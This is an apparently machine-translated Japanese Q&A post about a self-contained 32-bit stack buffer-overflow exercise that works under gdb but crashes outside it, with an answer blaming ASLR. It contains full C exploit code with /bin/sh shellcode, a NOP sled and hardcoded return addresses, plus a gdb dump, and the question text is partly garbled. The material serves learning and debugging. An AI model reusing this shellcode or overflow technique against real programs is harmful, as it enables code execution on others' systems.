実行中のシェルコードはデバッガでは動作しますが、それ自体では動作しません。

Question

バッファオーバーフローを試しています。

• 3つの部分から構成され、バッファの構築：

1）実際のリターンアドレスを上書きするいくつかの「悪質な」リターンアドレスを持つブロックを、私は次のことを行いおもちゃの例を書きましたスタック上に;

2）NOPスレッドブロックが悪意のあるリターンアドレスを指している。

3）スタック上にあまりにも小さなバッファでこのバッファを書き込む

• 働くことが知られている実際のシェルコード。

興味深いのは、シェルで実行しているときに、プログラムがセグメント化エラーを生成することです。ただし、デバッガgdbで同じプログラムを実行すると、正常に動作します。理由は何でしょうか？

コード：

// gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c 

#include <stdio.h> 
#include <string.h> 
#include <stdint.h> 

typedef uint32_t INT; 

INT nop_sled_size = 64; 
INT jmp_addr_size = 16; 

INT* base_addr = 0xffffd024; 

char shellcode[] = "\xeb\x02\xeb\15\xe8\xf9\xff\xff\xff/bin/sh\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5b\x31\xc0\x88\x43\x07\x89\x43\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80"; 

void make_exploit(char* exploit) { 

    int i; 

    for (i = 0; i < jmp_addr_size; i++) 
     ((INT*)exploit)[i] = base_addr + nop_sled_size/2; 

    memset(((INT*)exploit)+jmp_addr_size, 0x90, nop_sled_size*sizeof(INT)); 

    strcpy(exploit+sizeof(INT)*(jmp_addr_size + nop_sled_size), shellcode); 

} 


void run_exploit() { 

    char buffer[16]; 

    int exploit_size = (nop_sled_size+jmp_addr_size)*sizeof(INT)+strlen(shellcode); 

    char* exploit = (char*)malloc(exploit_size); 

    make_exploit(exploit); 

    memcpy(buffer, exploit, exploit_size); 



} 

int main() { 

    run_exploit(); 

    return 0;  

} 

でコンパイル：

gcc -g -m32 -z execstack -fno-stack-protector -o target_prog_dbg target_prog_dbg.c 

バッファ：

(gdb) x/x $ebp 
0xffffd028:  0xffffd0a4 

(gdb) x/100x buffer 
0xffffd008:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd018:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd028:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd038:  0xffffd0a4  0xffffd0a4  0xffffd0a4  0xffffd0a4 
0xffffd048:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd058:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd068:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd078:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd088:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd098:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0a8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0b8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0c8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0d8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0e8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd0f8:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd108:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd118:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd128:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd138:  0x90909090  0x90909090  0x90909090  0x90909090 
0xffffd148:  0x0deb02eb  0xfffff9e8  0x69622fff  0x68732f6e 
0xffffd158:  0x90909090  0x90909090  0xc0315b90  0x89074388 
0xffffd168:  0x43890843  0x8d0bb00c  0x538d084b  0xff80cd0c 

オペレーティングシステムが64ビットシステムであることに注意してください。

Answer 1

ASLRが原因です。 gdbでは、何らかの理由でASLRが関与していないようです。